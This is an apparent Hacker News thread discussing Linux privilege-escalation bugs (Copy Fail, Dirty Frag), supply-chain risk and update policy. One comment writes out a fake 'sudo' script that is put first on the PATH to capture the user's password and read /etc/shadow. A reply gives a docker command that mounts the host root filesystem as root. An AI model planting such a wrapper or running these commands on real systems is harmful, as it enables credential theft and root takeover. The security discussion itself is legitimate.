I remember there was a trend with some UK Influencers using some "Ladder and a High-vis" tricks to enter places for a while to show how rough physical security is [0]. I believe its the youtuber, Max Fosh, who managed to do it back to back at the International Security Expo, first in the UK [1] and then in the US [2], with the fake names 'Rob Banks' and 'Nick Everything'. I've studied security culture before and in most cases everything comes down to a sliding scale with security on one side and convenience/accessibility on the other, the more secure something is, the less accessible it is and vice versa. [0] https://www.youtube.com/watch?v=LTI0SeyhAPA https://www.youtube.com/watch?v=LTI0SeyhAPA [1] https://www.youtube.com/watch?v=qM3imMiERdU https://www.youtube.com/watch?v=qM3imMiERdU [2] https://www.youtube.com/watch?v=NmgLwxK8TvA https://www.youtube.com/watch?v=NmgLwxK8TvA

royaldependent 5mo ago

[dead]

fsflover 5mo ago

Alternatively, consider using Qubes OS, which isolates untrusted software using strong hardware virtualization. My daily driver, can't recommend it enough. Examples of usage patterns: https://doc.qubes-os.org/en/r4.3/user/how-to-guides/how-to-organize-your-qubes.html https://doc.qubes-os.org/en/r4.3/user/how-to-guides/how-to-o...

alecco 5mo ago

Or disable algif_aead module as in https://news.ycombinator.com/item?id=47957409 https://news.ycombinator.com/item?id=47957409

JetSetIlly 5mo ago
That's not enough in this case. The suggested mitigation according to the Dirty.Frag github page is to blacklist esp4, esp6 and rxrpc
- alecco 5mo ago
  Thanks. Discussion https://news.ycombinator.com/item?id=48054182 https://news.ycombinator.com/item?id=48054182

Luker88 5mo ago

Dammit, this is why nobody uses NixOS. Nothing works on it! The copyFail didn't, the dirtyfrag doesn't. This copfail2 does modify /etc/passwd, but I can't `su - sick` as expected. /s

Luker88 5mo ago
sligtly unrelated, but the portable way to execute stuff is via `/usr/bin/env`, not `/bin/bash`. I did try fixing the path to use nixos paths, but it was still unsuccessful. Did not really check further.

CriticalRegion 5mo ago

This is a baffling take.. These exploits are local privilege escalations for linux systems. They'll allow an attacker with a foothold in a shared environment or with low privilege access to a system to affect the rest of the system. They aren't RCEs and won't let attackers access environments that they couldn't before other than the shared hosting scenarios. That is absolutely not how most supply chain attacks are carried out. Most supply chain attacks are performed via credential theft and social engineering. The more sophisticated ones are APT style attacks like the Solarwinds one (which were carried out by organisations that would already have exploits like these) or more creative stuff like the Shai-Hulud fiasco. All of these options existed before these LPEs. If you're worried about supply chain attacks you've been worried for longer than Mythos has been out. Not updating your software is never good security advice.

Phelinofist 5mo ago
Either my reading of your comment is wrong or you misunderstood the supply chain comment by OP I think: what they mean is that a supply chain attack that gets the exploit on a system would be great now because the reported vulns are unfixed pretty much everywhere
- CriticalRegion 5mo ago
  No, you read it right. I just misunderstood the post's message as "these exploits will enable more supply chain attacks". I'll probably delete my comment since it's debating a strawman. It is absolutely right that these exploits might enable these attacks to have a larger impact. I still don't think that I agree with the message since a malicious npm package already installed can get its payloads from a C2 server, it doesn't need an npm update.
  - Phelinofist 5mo ago
    > since a malicious npm package already installed can get its payloads from a C2 server, it doesn't need an npm update In general I agree, but I think these two vulns are 0day-y and pretty much every major distro is affected AFAIU, so there is perhaps slightly more potential than usual

mobeigi 5mo ago

I saw a recent post about only adopting packages a certain number of days post release (say +3 days, or +7 days) after. The idea is you never bring in fresh commits, only older ones. This would need dangerous or bad commits to be marked vulnerable too. It means you skip supply chain attacks but may miss fresh vulnerability patches too.

mattstir 5mo ago
You only miss supply chain attacks that are eager to begin exploiting. If everyone begins waiting a week to update dependencies, attackers just need to wait 2 weeks before actively using their attack vectors.

ptrl600 5mo ago

What if it's a really good bit?

antonyh 5mo ago

"Don't update your systems for a while" is exactly what an attacker would say. If you can't trust your update sources, you have bigger problems.

moffkalast 5mo ago
If I'm being really frank, are system updates not more disruptive, destructive and result in more data loss and downtime than all the attacks you'll experience in your lifetime? (unless you're a high value business target ofc, I'm talking for personal machines) In my book, having unattended-upgrades or windows update run amok on your system is functionally worse than a rootkit.
- antonyh 5mo ago
  This. Lost hours from the hours running the updates, lost hours from the occasional faulty upgrade, and every now and again it's fail spectacularly and need a restore from backup to return to productivity. No matter if it's Ubuntu LTS or non-LTS, every six months there's always something radically changed. OpenSUSE Leap has the same problem. I'm looking at Tumbleweed but a new version every week is going to break occasionally. Gentoo build-from-source is going to have weirdness every now and again, if not utter ruin. MacOS updates yearly, and brings horrors with every point zero release. Windows is Windows, and those problems are well known. I don't think there's a way around it with the current offerings. It's a problem we have to live with for the sake of progress and for security updates. Every machine needs downtime for maintenance on a periodic, often-scheduled basis. It might cost time but avoiding updates is not a good plan. Aside from dodgy updates that have to run as root to install, if you have passwordless sudo it's more dangerous than any broken package or local-only privilege escalation exploit. I'll wager many have it set up that way, because typing passwords is tiresome.
- Melatonic 5mo ago
  This is why you always have a test environment and good, tested backups that are easy and quick to roll back to. Even if something makes it past test (or there is an install problem with a patch that is otherwise fine) you can just roll back. For personal machines without those resources you are a bit of a hard place - although many OS and software these days have long term stable versions and the ability to defer auto patches by a week or two

bitfilped 5mo ago

Am I missing part of the article? This seems like 2 sentences saying "don't install anything cause some Linux LPEs came out." I don't understand why this is on the frontpage of HN.

xena 5mo ago
As the author of it I'm as confused as you are. It's frontpage number 68 for me, next time is ultimate nice.

ElenaDaibunny 5mo ago

[dead]

sergeykish 5mo ago

Linux distributions do not need Copy Fail to get root access: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc mkdir -p .local/bin/ cat <<EOF >.local/bin/sudo read -rs -p "[sudo] password for $USER: " PASSWORD echo "" echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow EOF chmod +x .local/bin/sudo attack on next sudo call, shows data accessible only to root. Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers: $ docker run -it -v.:/app -w /app node:alpine /bin/sh long term environments defined in docker compose: $ docker-compose.yml services: app: image: node:alpine volumes: - .:/app working_dir: /app command: /bin/sh $ docker compose run app switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.

quectophoton 5mo ago
If `docker` is already there, why even bother with `sudo` when you can just: docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l' Chances are that the person who set up Docker didn't do it properly.
- sergeykish 5mo ago
  Run in docker container: $ docker run -it -v.:/app -w /app node:alpine /bin/sh /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l' /bin/sh: docker: not found I've described attack from host user and isolating attacker with docker.
kro 5mo ago
These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer. It's quite different from PATH-injecting an already privileged user. Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily. It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.

bsenftner 5mo ago

This is why I avoid the entire JavaScript shitshow that is NPM and all that ecosystems nonsense. The population of users do not have the secondary considerations to be trusted, there will always be someone that does the worse and talks too many into following them. Then the "best practices" produce failures. What a shit show.

clbrmbr 5mo ago

So what do we do? Pin our dependencies (to hashes when possible), and only update when there are CVEs? But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?

throawayonthe 5mo ago
Nothing :D
papichulo2023 5mo ago
Run everything as sudo so they cant escalate any further ;)
- clbrmbr 5mo ago
  Do you know if this exploit works on Docker containers? And if so, I assume it just allows escalation WITHIN the container? So this attack is scary for Linux desktops and servers, but a fully containerized system like common on CI/CD should be good. Right?

moebrowne 5mo ago

For anyone who is running an out-of-support version of Ubuntu (Ubuntu 20 and lower) I highly recommend Ubuntu Pro it gives access to updates and is free for personal use

XCabbage 5mo ago

Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits? (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)

roskilli 5mo ago
Well one thing is, there are package updates that could masquerade a backdoor much like XZ Utils[1]. The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc. [1] https://en.wikipedia.org/wiki/XZ_Utils_backdoor https://en.wikipedia.org/wiki/XZ_Utils_backdoor
ekjhgkejhgk 5mo ago
[flagged]
- yreg 5mo ago
  You should in regards to computer security.
- john_strinlai 5mo ago
  for unknown-to-me reasons, the overlap between furries and some of the smartest security people in the world is way more than you would think and even if it wasnt, this is about as sensible as not taking advice from left-handed people (i.e. completely nonsensical).

thot_experiment 5mo ago

Speaking of, LTT posted a video about DDR pad, which triggered the sleeper cell programming of my youth and I opened up StepMania to play a few rounds. I was shutting down the program and I noticed the build info in the corner. 6-19-2005 My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.

grey-area 5mo ago

Alternatively, maybe you shouldn’t have so many dependencies.

mghackerlady 5mo ago

Or, just install OpenBSD or (or FreeBSD if you're willing to sacrifice a chunk of security for nvidia, jails, and bhyve)

harrouet 5mo ago

If there is any learning from the AI craze, it is that there is no coming back on the pace of breach discoveries. Sure we've just faced an acceleration phase and a wave of patches will follow before settling in. But where we used to find x zero-day per million LoC, we will now find 10x ZD/MLoC. [hopefully detection will become part of CI so that number may vary] So, we will have more disasters waiting to happen. Assume that they will happen. My #1 recommendation is to curate a list of the auth tokens that you use (keep the list, not the actual tokens in a central place...), and be ready to rotate them as automatically as possible. You already have backups. Know how to rotate all your credentials. Write some scripts. Get ready. It will happen.

assanineass 5mo ago

[dead]

mtam 5mo ago

Genuinely curious why are tools like ChainGuard not more prevalent? I am sure there open source alternatives for it too.

giwook 5mo ago

I installed LuLu recently and it's been nice to have that extra peace of mind. Obviously it's not a silver bullet, but it is a nice tool to have as part of a broader defensive, preventative posture. I'm not associated with the project in any way and am very much open to other suggestions, either as an alternative to LuLu or to complement it. https://objective-see.org/products/lulu.html https://objective-see.org/products/lulu.html

shevy-java 5mo ago

> Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so. This makes no sense. So, copy.fail refers to a linux kernel problem, yes? A local instructor showed it to us, e. g. by using python to become superuser. Well ... does this mean that a computer system is useless, because of that bug? No. Besides, people can patch it already, so while that is indeed a huge bug as such, it does not mean it makes people's computer useless at all. But, even ignoring this ... why would we now AVOID installing new software" for a bit? What rationale is given here? The rationale was given "because of ... uhm ... npm supply chain attacks": "Right now would be one of the best times for a supply chain attack via NPM to hit hard. Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so." Well, many computer systems won't even have npm installed. Besides, if they do, they should be well aware of npm having had issues for such a long time. left-pad is still the funniest one of all tims IMO, or among top three. copy.fail is not funny - it is almost so simple that it is stupid, which kind of makes this an epic fail indeed, and that AI found it also kind of means that skynet won. Humans won't find as many weaknesses as AI skynet will. But just because of such an exploit and npm sucking, why would this mean I should ... arbitrarily stop compiling any new software? THAT MAKES ABSOLUTELY NO SENSE AT ALL. That "rationale" is not a rationale. That is just an opinion, without any real argument to be had. If the issue is serious, patch the linux kernel. End of story. No need to have a "moratorium" on installing new software. The "for a bit" makes no sense anymore than "for 50 days" or any other arbitrary number. xeiaso is not THINKING here.

hn_throwaway_99 5mo ago

I always wondered why it wasn't super easy to have a version specification in NPM that basically said "give me the latest version of this dependency as of X weeks ago". That is, hijacked modules usually were revealed within a week, and there are some groups (like security researchers) that are fine with being on the bleeding edge, but a lot of more conservative companies would rather hold back a week or two. I know there are extensions and proxies you can set up that do this, but it just seems like it should be built in to NPM directly (maybe it has, I haven't been up on Node programming in the last couple years).

davidjkerber 5mo ago
Just sharing for awareness, NPM does support that as of February: https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration https://socket.dev/blog/npm-introduces-minimumreleaseage-and... It must have been a very quiet announcement because I just found out about it this week.
- hn_throwaway_99 5mo ago
  Thanks, didn't know this was added!

looneysquash 5mo ago

That sounds like it wouldn't scale. If everyone did it, then it would just delay things.

abustamam 5mo ago
True, but not everyone will do it. The intention isn't to scale, it's to save your own ass.

abustamam 5mo ago

This advice is good even if there weren't security vulnerabilities. When I was a junior engineer I'd install a bunch of packages just willy nilly. My manager was like "stop installing packages for simple things. Just learn how they work and code it yourself." I've done that ever since. Of course, I still use packages like express and tailwindcss. But in the era of LLMs, using a package for something like react drop-downs is unnecessary.

dzonga 5mo ago

instead of using downloading software via npm (in case of your computer being taken over there's a secure option provided by the web - no build - scripts at the top / bottom of the page they're executed in a secure sandbox

junto 5mo ago

Reminds me of the old adage “I don’t need to outrun the bear. I just need to outrun you.” Once everyone takes the stance of waiting 2 weeks, we are all back to the same situation. I don’t like the suggestion to “wait for others to be the unfortunate victims, so that I can benefit from their misfortune”. Surely there’s a better way.

happyPersonR 5mo ago

With mandatory auto updates and software that don’t pin dependencies being the norm, most of us have no choice in the matter really. We’re not downloading new firmware and installing for a lot of things it’s all getting pulled in automatically.

asdfman123 5mo ago

Genuine question: I wonder if AI coding is responsible for the new exploits coming to light. AI coding is great at is helping you try out things you wouldn't have the time or energy to normally do. It shines for writing scripts that aren't part of a larger codebase, and helping with boring, rote tasks. Hackers are also very motivated to use new tools to find any kind of opening (unlike normal devs who aren't always as... motivated :).

Melatonic 5mo ago

This is why I usually try to lean toward software versions with LTS (Long Term Stable) versions - especially if they are more minimalist / run leaner. Theoretically you get all the security patches (if needed - of course you can vet updates still and test) and less bugs and vulnerabilities through less new features. Reducing attack surface and software complexity will (theoretically) reduce the number of possible exploits regardless of what new tool or process attackers discover.

Schlagbohrer 5mo ago

I juuuuuust updated npm, should i be worried?

epolanski 5mo ago

Is the current situation a positive for commercial Linux distros that focus on security?

Steinmark 5mo ago

[dead]

mammamia1 5mo ago

[dead]